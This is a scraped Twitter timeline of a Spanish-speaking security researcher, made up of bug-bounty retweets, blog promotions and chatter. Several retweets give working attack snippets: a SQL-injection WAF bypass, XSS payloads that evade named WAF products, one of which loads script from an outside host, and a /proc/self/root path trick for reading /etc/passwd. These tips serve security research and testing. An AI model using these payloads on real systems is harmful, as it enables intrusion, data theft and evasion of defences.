Nobody♟

Ethical Hacker - Security Analyst - Autodidacta - Exstaff de @Underc0de -
Colaborador en

[elhacker.NET @elhackernet]

Descubren que el navegador interno de Instagram o Facebook inyecta código para rastrear tu actividad

❌ Meta monitoriza la actividad "con fines publicitarios o de medición dirigida"

✅ Evita el uso del navegador interno de las apps
https://t.co/HZsHZ1oR1x

[Nobody♟ @n0bodysec]

@guinxu, ¿sería buen contenido para un capítulo de "hackeando juegos" para ver cómo están hechos? Jaja😅

Me gusta esa seríe de vídeos, la encuentro muy interesante 😁
¡Un saludo!

[Luis Madero @_Y000_]

Sql injection bypass con simples /\

Forbidden:
+Union+select+1+--+

Bypassed:
+/\Union/\+select+1+--+

Posiblemente sea algo viejo eso, pero no me había tocado usarlo
#Bypass #sql

[Amol Baikar @AmolBaikar]

Facebook OAuth Vulnerability.
$55,000 Bounty Awarded by Facebook.

Writeup:
https://t.co/MpVgyUSQqQ

#Facebook #Security #BugBounty

[Brute @BRuteLogic]

Christmas Gifts!🎄
WAF #XSS Bypasses

Wordfence 7.4.2
<a href=&#01javascript:alert(1)>

Sucuri CloudProxy (POST only)
<a href=javascript:confirm(1)>

ModSecurity CRS 3.2.0 PL1
<a href="jav%0Dascript:alert(1)">

Encode special chars properly.
#MerryChristmas!

[Nobody♟ @n0bodysec]

@RoloMijan Al menos te contestaron 🙊

[Nobody♟ @n0bodysec]

@MostazaSocial encontré un fallo de seguridad en una de sus plataformas, ¿disponen de algún email mediante el cual pueda reportar el fallo?

Saludos.

[Sam Mortenson @mortensonsam]

Did you know <a ping="url1 url2 url3 ..."> is a thing? 😱

[RoloMijan @RoloMijan]

Venga echadle un ojo al post de @n0bodysec (y seguidle de paso). Arbitrary File Download: el hermano menor del LFI.... https://t.co/LFXsA3as8p

[Nobody♟ @n0bodysec]

Nueva publicación en #WhateverSec 😄😄 #AFD #ArbitraryFileDownload #Hacking #Pentesting
https://t.co/OxOyIi1yIr

[Mohammed Aldoub م.محمد الدوب @Voulnet]

Got a file include or ssrf vulnerability and want to read etcpasswd but the server filters against anything that starts with /etc/passwd?

Try with /proc, like this:

/proc/self/root/etc/passwd

It can help you bypass some regex filters.

[Y4r4G @Y4r4G_]

A #Payload for the collection!!! #XSS #KNOXSS #bugbountytip
@brutelogic @knoxss_me

"><!--><Body%2FOnpointerenter=$.getScript("//brutelogic.com.br/2.js")>

[Nobody♟ @n0bodysec]

Nueva publicación de mí amigo @RoloMijan en WhateverSec 😁😁

[RoloMijan @RoloMijan]

Echadle un vistazo a mi nuevo Post. Jugando con XSS, Cookies y CORS https://t.co/1Sm7lYlrE3

[hackplayers @hackplayers]

He desfragmentado a mi cebra lol! #HumorInformatico

[Nobody♟ @n0bodysec]

@IJReilly2 Ya me había olvidado de ese XSS jaja

[Nobody♟ @n0bodysec]

#BuenosAires #Pwned
Simple XSS...

[RoloMijan @RoloMijan]

Ya podéis ir echándole un ojo al post que ha escrito @n0bodysec en whateversec. Una vuln en un banco de Argentina.
https://t.co/LnMbEi9YnD

[Nobody♟ @n0bodysec]

Nueva publicación en #Whateversec. @RoloMijan
https://t.co/wCDY61L0L2

[RoloMijan @RoloMijan]

Acabo de publicar lo que os prometí para este fin de semana, un poco retrasado pero espero que os guste. https://t.co/e9eonD5JcM

[Nobody♟ @n0bodysec]

@RoloMijan @Kirzahk Hola! Un placer poder escribir en el blog 😁😁

[Nobody♟ @n0bodysec]

@UnaPibaGeek Soy el único qué pensó en algún tipo de denegación de servicio a la WiFi del dron? Jaja